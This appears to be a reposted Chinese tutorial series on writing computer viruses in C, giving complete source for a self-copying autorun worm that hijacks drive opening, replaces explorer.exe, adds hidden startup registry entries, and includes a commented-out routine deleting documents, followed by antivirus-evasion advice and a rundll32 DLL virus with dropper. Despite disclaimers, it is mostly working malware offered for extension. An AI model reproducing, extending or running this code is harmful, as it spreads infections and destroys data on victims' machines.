c++编写病毒入门

来源:互联网 发布:网络作战司令部 特朗普 编辑:程序博客网 时间:2024/06/13 03:14

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你

可以在技术范围及法律范围内扩充实验.
在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.

连载1——最基本的病毒.
本病毒的功能:
1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:\windows\system\svchost.exe,使其开机自动运行
4.在C:\windows\system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力

本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。

以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究


/* SVCHOST.C   */
/* SVCHOST.EXE */

#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1 \\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";

int copy(char *infile,char *outfile)
{
     FILE *input,*output;
     char temp;
     if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

(outfile,"wb"))!=NULL))
     {
       while(!feof(input))
       {
         fread(&temp,1,1,input);
         fwrite(&temp,1,1,output);
       }
       fclose(input);
       fclose(output);
       return 0;
     }
     else return 1;
}
int main(void)
{
     FILE *input,*output;
     int i,k;
     for(i=0;i<3;i++)
     {
       output=fopen(files_autorun[i],"w");
       fprintf(output,"%s",autorun);
       fclose(output);
     }
     for(i=0;i<=SVCHOST_NUM;i++)
     { 
       if((input=fopen(files_svchost[i],"rb"))!=NULL)
       {
         fclose(input);
         for(k=0;k<SVCHOST_NUM;k++)
         {
           copy(files_svchost[i],files_svchost[k]);
         }
         i=SVCHOST_NUM+1;
       }
     }
     system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */ 
     return 0;
}

在连载2中你将看到:
病毒对系统文件破坏的方法,病毒对文件的感染,病毒生成垃圾文件,病毒更具隐蔽性的方法。

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技

术范围及法律范围内扩充实验.

在读本程序前请保证不用此程序进行违法活动,由于你使用本程序而对他人、组织等造成的任何损失都由将你承

担,本人不负任何责任,否则,请马上离开.

本版病毒所具有的功能:
1.在所有磁盘的根目录生成svchost.com和autorun.inf文件
2.生成病毒体:
c:\windows\wjview32.com
c:\windows\explorer.exe
c:\windows\system32\dllcache\explorer.exe
c:\windows\system\msmouse.dll
c:\windows\system32\cmdsys.sys
c:\windows\system32\mstsc32.exe
3.病毒体c:\windows\explorer.exe感染原explorer.exe文件,使其不需要修改注册表做到启动时在

explorer.exe前启动
4.修改注册表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
设置自启动项(此操作不使用windowsAPI,防止用户对病毒体的发现,并实现并行执行)
5.生成的autorun.inf改变磁盘的打开方式,使其在windows2000以上的系统无论选择“打开”、“双击”、“

资源管理器”等方式都无法打开分驱,而是以运行病毒的方式取而代之。
6.连锁能力,将病毒体相连,实现相连复制更新
7.使用进程不断调用进程,使得在任务管理里无法结束病毒进程
8.不断搜索磁盘,只要发现未感染病毒的一律感染,病毒删除后1秒内再建
9.生成垃圾文件(DESTORY_感染_任意数字)5个于C盘下
10.附带删除文件函数(为防止危害,本函数默认不执行)

本病毒到目前为止任何杀毒软件都无法将其查杀
本病毒单机默认使用对机器无害(破坏代码已屏蔽)
提供病毒卸载程序(保存为X.BAT,双击运行即可卸载):

@echo off
echo SK-CHINA SVCHOST KILLER 2007.6
echo WRITE BY S.K
taskkill /im mstsc32.exe /f
del c:\windows\wjview32.com
del c:\windows\explorer.exe
del c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\msmouse.dll
del c:\windows\system32\cmdsys.sys
del c:\windows\system32\mstsc32.exe
del c:\svchost.com
del c:\autorun.inf
del d:\svchost.com
del d:\autorun.inf
del e:\svchost.com
del e:\autorun.inf
del f:\svchost.com
del f:\autorun.inf
del g:\svchost.com
del g:\autorun.inf
del h:\svchost.com
del h:\autorun.inf
copy c:\windows\system\explorer.exe c:\windows\explorer.exe
copy c:\windows\system\explorer.exe c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\explorer.exe
echo FINISH!
echo 如果本次清除后仍残留有病毒,请再次运行本程序
pause

--------------------------------------------------------------------
核心代码:(全部代码请从附件中下载,请用DEV-CPP运行其中的工程文件,编译后请将结果文件svchost.exe更名为svchost.com,否则本病毒无法发挥作用,请安心运行实验,恶意代码已屏蔽)


/*
   SK-CHINA
   SVCHOST virus WRITE BY S.K
   Compiler:
   DEV-CPP 4.9.9.2
*/

/* SVCHOST.C   */
/* SVCHOST.EXE */
/* SVCHOST.COM */
#include<stdio.h> /*标准输入输出*/ 
#include<string.h> /*字符串操作*/ 
#include<stdlib.h> /*其它函数*/ 
#include<process.h> /*进程控制*/
#include<dir.h> /*目录函数*/

#define SVCHOST_NUM 6 /*关键位置病毒复制数量*/
#define RUBBISH_NUM 5 /*垃圾文件数量*/
#define REMOVE_NUM   5 /*删除文件数*/ 
/*====================================================================*/
/*
   文件AUTORUN.INF内容:
   1.自动运行SVCHOST.com
   2.覆盖默认打开命令,使用病毒体作为新的打开方式
   3.覆盖默认资源管理器命令,使病毒体作为新的命令方式
*/ 
char *autorun={"[AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=打开(&O)

\nshell\\open\\Command=\"SVCHOST.com /s\"\nshell\\explore=资源管理器(&X)

\nshell\\explore\\Command=\"SVCHOST.com /s\""};
/*=====================================================================*/
/*
   添加注册表项:
   1.自动运行生成病毒体C:\windows\wjview32.com
*/
char *regadd={"REGEDIT4\n\n

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32

\"=\"C:\\\\windows\\\\wjview32.com /s\""};
/*=====================================================================*/
/*
   函数:复制文件
   复制源:infile
   目的地:outfile
   成功返回0,失败返回1
*/ 
int copy(char *infile,char *outfile)
{
     FILE *input,*output;
     char temp;
     if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

(outfile,"wb"))!=NULL))
     {
       while(!feof(input))
       {
         fread(&temp,1,1,input);
         fwrite(&temp,1,1,output);
       }
       fclose(input);
       fclose(output);
       return 0;
     }
     else return 1;
}
/*=====================================================================*/
/*
   函数:通过explorer自动运行 
   成功返回0,失败返回1,2
*/ 
int autorun_explorer()
{
     FILE *input;
     if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL)
     {
       fclose(input);
       remove("c:\\windows\\$temp$");
       remove("c:\\windows\\system32\\dllcache\\$temp$");
       return 1;
     }
     copy("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");
     rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");
     rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32

\\dllcache\\$temp$");
     if(copy("SVCHOST.com","c:\\windows\\explorer.exe")==0 && copy

("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)
       return 0;
     else
       return 2;
}
/*=====================================================================*/
/*
   函数:添加注册表项 
   成功返回0,失败返回1
*/ 
int add_reg()
{
     FILE *output;
     if((output=fopen("$$$$$","w"))!=NULL)
     {
       fprintf(output,regadd);
       fclose(output);
       spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
     }
}
/*=====================================================================*/
/*
   函数:复制病毒 + Autorun.inf自动运行 
*/ 
void copy_virus()
{
     int i,k;
     FILE *input,*output;
     char *files_svchost[SVCHOST_NUM]=

{"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\syste

m32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};
     char temp[2][20]={"c:\\svchost.com","c:\\autorun.inf"};
     for(i=0;i<SVCHOST_NUM;i++)
     { 
       if((input=fopen(files_svchost[i],"rb"))!=NULL)
       {
         fclose(input);
         for(k=0;k<SVCHOST_NUM;k++)
         {
           copy(files_svchost[i],files_svchost[k]);
         }
         i=SVCHOST_NUM;
       }
     }
     for(i=0;i<SVCHOST_NUM;i++)
     {
       if((input=fopen(files_svchost[i],"rb"))!=NULL)
       {
         fclose(input);
         for(k=0;k<24;k++)
         {
           copy(files_svchost[i],temp[0]);
           if((output=fopen(temp[1],"w"))!=NULL)
           {
             fprintf(output,"%s",autorun);
             fclose(output);
           }
           temp[0][0]++;
           temp[1][0]++;
         }
         i=SVCHOST_NUM;
       }
     }
}
/*=====================================================================*/
/*
   函数:制造垃圾文件 
*/ 
void make_rubbish()
{
     int i;
     FILE *output;
     srand(0);
     for(i=0;i<RUBBISH_NUM;i++)
     {
       int n;
       char s[30];
       n=rand();
       sprintf(s,"C:\\DESTORY_感染_%d",n);
       if((output=fopen(s,"w"))!=NULL)
       {
         fprintf(output,"%ld%s",n*n,s);
         fclose(output);
       }
     }
}
/*=====================================================================*/
/*
   函数:删除文件
*/ 
void remove_files()
{
     long done;
     int i;
     struct _finddata_t ffblk;
     char *remove_files[3]={"*.txt","*.doc","*.xls"};
     for(i=0;i<3;i++)
     {
       if(_findfirst(remove_files[i],&ffblk)==-1) continue;
       while(!done)
       {
         remove(ffblk.name);
         _findnext(done,&ffblk);
       }
       _findclose(done);
     }
}
/*=====================================================================*/
/*
   主程序
   使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面,于后台执行
*/ 
int main(int argc,char **argv)
{
     int contral=0;
     if(argc>1)
       if(strcmp(argv[1],"/s")==0)
         goto next1;
     autorun_explorer();
     spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
     next1:
     add_reg();
     copy_virus();
     make_rubbish();
     /* remove_files(); */
     spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);
     return 0;
}

这是第三篇连载了,这次着重写些编程技术和病毒原理方面问题。
注册表篇
1.可以用于病毒开机自启动的注册表位置:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]
以上只是默认运行的部分注册表位置,其实还可以在系统启动外客(shell explorer.exe)后添加病毒路径等方法,同样可以实现通过注册表开机自动运行。
2.关联文件类型
在注册表HKEY_CLASS_ROOT下可以更改文件类型的默认启动程序,比如更改EXE文件的启动程序为你写的病毒,那么每当运行exe程序时,病毒将替代程序运行
例:
到注册表HKEY_CLASS_ROOT\exefile\shell\open\command下,修改“默认”修改为c:\windows\svchost.exe "%1" %*,那么以后运行.exe文件时只会运行c:\windows\svchost.exe

3.程序修改注册表的方法:
(1)使用REG命令添加修改注册表:
REG命令使用方法具体可以在命令提示符中输入REG /?和通过参阅Windows命令帮助查看
主要格式:
REG Operation [Parameter List]

   Operation   [ QUERY   | ADD     | DELETE   | COPY     |
               SAVE     | LOAD   | UNLOAD   | RESTORE |
               COMPARE | EXPORT | IMPORT ]
例:向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名为SVCHOST的键值,键值内容为C:\Windows\system\SVCHOST.exe

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SVCHOST /d C:\Windows\system\SVCHOST.exe /f

调用reg命令的方法主要有两中,一种是使用C语言中的system函数,另一种是使用C语言中的spawn类函数(如函数spawnl)。具体system和spawnl使用方法请参见其它资料,这里仅举一例:

例:用system函数通过reg命令向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名为SVCHOST的键值,键值内容为C:\Windows\system\SVCHOST.exe

system("reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f");

评论与小结:使用REG命令添加注册表可以达到直接调用系统命令(工具)来修改注册表的目的,如果被杀毒软件拦截也只会显示修改操作的发出来自 C:\WINDOWS\system32\reg.exe,使病毒不容易被寻找到。但由于REG命令属于控制台命令,因此调用时有黑色的控制台出现,是病 毒的征兆被感染用户发现,不利于病毒隐藏。

(2)使用WindowsAPI添加修改注册表
WindowsAPI为我们提供了大约25个函数。他提供了对注册表的读取,写入,删除,以及打开注册表及键值时所有函数这些函数有: 
RegCloseKey
RegConnectRegistry
RegCreateKey
RegCreateKeyEx
RegDeleteKey
RegDeleteVale   
RegEnumKey
RegFlushKey
RegGetKeySecurity(Windows9X不适用)
RegLoadKey 
RegNotifyChangeKeyValue(Windows9X不适用)
RegOpenKey
RegOpenKeyEx
RegQueryInfoKey
RegQueryValue 
RegQueryValueEx
RegReplaceKey
RegRestoreKey(Windows9X不适用)
RegSaveKey
RegSetKeySecurity(Windows9X不适用)
RegSetValue
RegSetValueEx
RegUnLoadKey 
等,函数的使用需要在32位C编译器下调用windows.h文件,同(1)中一样,具体函数的使用方法请参见其它资料,这里仅举一例.
例:通过WindowsAPI向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名为SVCHOST的键值,键值内容为C:\Windows\system\SVCHOST.exe

TRegistry* Registry; 
Registry=new TRegistry();
Registry->RootKey=HKEY_LOCAL_MACHINE;
Registry->OpenKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",FALSE);
Registry->WriteString("SVCHOST","C:\\Windows\\system\\SVCHOST.exe");WriteString()
Registry->CloseKey();

评论与小结:使用WindowsAPI添加注册表可以达到直接无须调用系统命令(工具)就可以修改注册表的目的,但如果被杀毒软件拦截会显示修改操 作来自的病毒体文件所在的路径,使病毒容易被寻找到。但由于WindowsAPI可以“悄悄”的完成修改,在前台没有任何显示,因此调用时如果未被拦截, 很难被感染用户发觉,利于病毒隐藏。
(3)使用REGEDIT添加修改注册表
REGEDIT就是注册表编辑器,但它其实有一个/s的参数,只要调用regedit /s 注册表文件,就可以在后台无提示的修改注册表。同样需要用spawnl函数调用它。

例:通过spawnl函数调用regedit向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名为wjview32的键值,键值内容为C:\windows\wjview32.com /s
char *regadd={"REGEDIT4\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32\"=\"C:\\\\windows\\\\wjview32.com /s\""};
FILE *output;
if((output=fopen("$$$$$","w"))!=NULL)
{
   fprintf(output,regadd);
   fclose(output);
   spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
}
评 论与小结:使用spawnl函数+REGEDIT可以兼得WindowsAPI和REG两种方法的优势,添加注册表如果被杀毒软件拦截会显示修改操作来自 c:\windows\regedit.exe,使病毒的路径难以被寻找到,利于病毒的隐藏。REGEDIT可以“悄悄”的完成修改,在前台没有任何显 示,因此调用时如果未被拦截,很难被感染用户发觉,利于病毒隐藏。

首先说明一下,有些网友提出前3篇文章大都在讲注册表,没有新内容,但我认为:现在病毒几乎100%修改注册表,

因而(1)(2)的两个病毒示例也应做到如此,并且(1)(2)中分别用了不同的修改方法,用了不少不同的病毒技术.

而(3)是(1)(2)中部分技术的总结与技术方法的详细介绍,并又介绍了一些其它的注册表操作,再者,90%的病毒

必须通过注册表自启动,因此修改注册表可以是每个"真"病毒必须做的事.

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技术范围及法律范围内扩充实验.

在读本程序前请保证不用此程序进行违法活动,由于你使用本程序而对他人、组织等造成的任何损失都由将你承担,本人不负任何责任,否则,请马上离开.

拒绝任何形式的转载(本人除外),否则属于著作侵权,将受到《中华人民共和国软件保护条理》、《中华人民共和国著作权法》、《中华人民共和国知识产权法》等法律最大限度的制裁!!

--------------------------------------------------------------------------------------------------
这次讲一下DLL病毒:
随着病毒的发展,病毒也由破坏的目的转为利益的目的,因此隐蔽的DLL病毒逐渐发展起来.DLL是Dynamic Link

Library 的缩写,中文为动态链接库,它的实质并不是一个程序,而是由多个功能函数构成的.而DLL病毒是通过

特别的方法,让系统文件Rundll.exe \ Rundll32.exe等调用其的函数,而所调用的函数的代码就是病毒代码,或

者通过线程插入技术插入到系统进程explorer.exe svchost.exe lsass.exe winlogon.exe 等或

iexplorer.exe等常用软件进程中,达到隐蔽的目的.
DLL病毒的编写(rundll32.exe调用法)
同建立一般的C工程一样,建立一个DLL C工程,这时会有两个文件dll.h dllmain.c被建立,其中在dll.h中声明

函数,dllmain.c中编写函数,函数的内容就是病毒代码.
最简单的DLL病毒例子:
dllmain.c内容:

/*只要你有充足的知识积淀,可以无限的扩充,使其变的强悍
具体扩充代码示例可以参照<用C语言写病毒(2)>*/
/*在DEV-CPP 4.9.9.2 DLL C工程中编译测试通过*/
#include "dll.h"
#include <stdio.h>
#include <stdlib.h>

DLLIMPORT void start ()
{
   FILE *output;
   /*
     注册[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\run] 
     这又是一个以前未与大家说的注册表位置,这个位置可以提前与explorer.exe执行,且一般的病毒用的不

多,十分隐蔽
   */ 
   if((output=fopen("$","w"))!=NULL)
   {
     fprintf(output,"REGEDIT4\n

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\run]

\n\"Userinit\"=\"rundll32.exe C:\\\\WINDOWS\\\\system32\\\\winsys.dll start ()\"");
     fclose(output);
     spawnl(0,"c:\\windows\\regedit.exe"," /s $",NULL);
     remove("$");
   }
}
dll.h内容:
/*在DEV-CPP 4.9.9.2 DLL C工程中编译测试通过*/
#ifndef _DLL_H_
#define _DLL_H_

#if BUILDING_DLL
# define DLLIMPORT __declspec (dllexport)
#else
# define DLLIMPORT __declspec (dllimport)
#endif

DLLIMPORT void start (void);

#endif /* _DLL_H_ */
这个例子可以在explorer.exe运行前启动并再次自动写自动运行键值,前提是需要将该DLL文件写于

c:\windows\system32\winsys.dll,这就可以交给exe主病毒来做了,这就是要说的DLL病毒与EXE病毒联合,这样

可以加强病毒的攻击力度,它由主病毒体*.exe来释放dll病毒辅助体*.dll,达到dll与exe联合的作用.一般

的,dll用来设置注册表的自启动,以及病毒的复制,而exe用来破坏.当然,也有少部分DLL病毒孤军奋战,由于十

分隐蔽,也常常十分好用

释放病毒体示例:
/*释放上面的简单dll病毒体的例子的exe*/
#include<stdio.h>
unsigned char DLL[15161] = {
...此处代码过长,略... };
int main(void)
{
     FILE *output;
     int i;
     output=fopen("C:\\WINDOWS\\system32\\winsys.dll","wb");
     fwrite(DLL,sizeof(DLL),1,output);
     fclose(output);
     spawnl(1,"c:\\windows\\system32\\rundll32.exe"," C:\\WINDOWS\\system32\\winsys.dll start

()",NULL);
     return 0;
}

好了,抛砖引玉,将代码增加,更改,换做你写的更厉害的代码...